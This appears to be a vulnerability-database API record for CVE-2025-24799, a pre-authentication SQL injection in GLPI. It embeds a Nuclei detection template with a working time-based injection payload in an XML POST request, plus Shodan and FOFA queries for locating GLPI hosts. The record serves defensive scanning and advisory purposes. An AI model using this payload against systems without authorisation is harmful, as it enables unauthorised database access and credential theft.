{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-24799/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-24799/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-24799/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-24799/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-24799/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-24799"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-24799"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.86692,
      "kev": false,
      "percentile": 0.99733
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-24799.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-24799\n\ninfo:\n  name: GLPI < 10.0.17 - Pre-Auth SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL queries through XML requests to the Inventory feature, potentially extracting user credentials, bypassing authentication, and accessing sensitive database information.\n  remediation: |\n    Upgrade to GLPI version 10.0.18 or later. If upgrading is not immediately possible, consider disabling the Inventory feature or restricting access to it.\n  reference:\n    - https://blog.lexfo.fr/glpi-sql-to-rce.html\n    - https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-24799\n  classification:\n    epss-score: 0.86692\n    epss-percentile: 0.99733\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2025-24799\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    product: GLPI\n    max-request: 1\n    shodan-query: title:\"GLPI\"\n    fofa-query: title=\"GLPI\"\n  tags: cve,cve2025,glpi,sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /index.php/ajax/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n            <xml>\n            <QUERY>get_params</QUERY>\n            <deviceid>', IF((1=1),(select sleep(7)),1), 0, 0, 0, 0, 0, 0);#</deviceid>\n            <content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>\n        </xml>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n          - 'status_code ==200'\n          - 'contains(header, \"application/xml\")'\n          - 'contains_all(body, \"<status>ok\", \"REPLY>\")'\n        condition: and\n# digest: 4a0a00473045022100d09105f9352c176176556dc1c0e27051edca5b6069927e0409e17ae7a51a025f022027aa7d253a9e17fc6d07d7b844da75ebef669c0aa4df8ba78d9c4012c1159300:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-24799"
}